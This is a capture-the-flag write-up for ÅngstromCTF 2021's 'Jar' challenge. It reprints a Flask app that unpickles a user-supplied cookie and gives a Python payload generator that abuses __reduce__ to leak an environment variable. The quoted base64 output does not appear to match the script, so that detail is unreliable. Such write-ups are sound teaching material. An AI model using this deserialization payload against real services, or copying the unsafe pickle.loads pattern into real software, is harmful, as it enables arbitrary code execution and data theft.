CTF: ÅngstromCTF 2021

Challenge information:

Name: Jar
Category: Web - Python (Flask)
Description: My other pickle challenges seem to be giving you all a hard time, so here's a simpler one to get you warmed up.
Environment: Whitebox
Author: kmh
Points: 70
Solves: 365 out of 1502 teams
Flag: actf{you_got_yourself_out_of_a_pickle}

Writeup:

Files provided to solve the challenge are the following ones:

  • Web-app Flask source code:
from flask import Flask, send_file, request, make_response, redirect
import random
import os

app = Flask(__name__)

import pickle
import base64

flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')

@app.route('/pickle.jpg')
def bg():
	return send_file('pickle.jpg')

@app.route('/')
def jar():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
		''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)

@app.route('/add', methods=['POST'])
def add():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	items.append(request.form['item'])
	response = make_response(redirect('/'))
	response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
	return response

app.run(threaded=True, host="0.0.0.0")
  • And a pickle image:

Which is indeed a hint for the Python pickle library for object serialization, and the documentation itself warns the users with the following message:

Warning
The pickle module is not secure. Only unpickle data you trust.
It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.
Consider signing data with hmac if you need to ensure that it has not been tampered with.

With this information I created a piece of code that generates a cookie when insecurely deserializated by the pickle library, will let us execute arbitrary code. As the flag is stored on an environment variable this should be really easy to achieve:

import pickle, base64, os

class READ:
    def __reduce__(self):
       return (os.getenv, ('FLAG',))
	   
if __name__ == '__main__':
	encoded = pickle.dumps([READ()])
	print(base64.urlsafe_b64encode(encoded).decode())

This piece of code returns as the following base64 string: KGxwMAooaV9fbWFpbl9fClJFQUQKcDEKKGRwMgpiYS4=, when set as cookie and the page is refreshed gives us the flag: actf{you_got_yourself_out_of_a_pickle}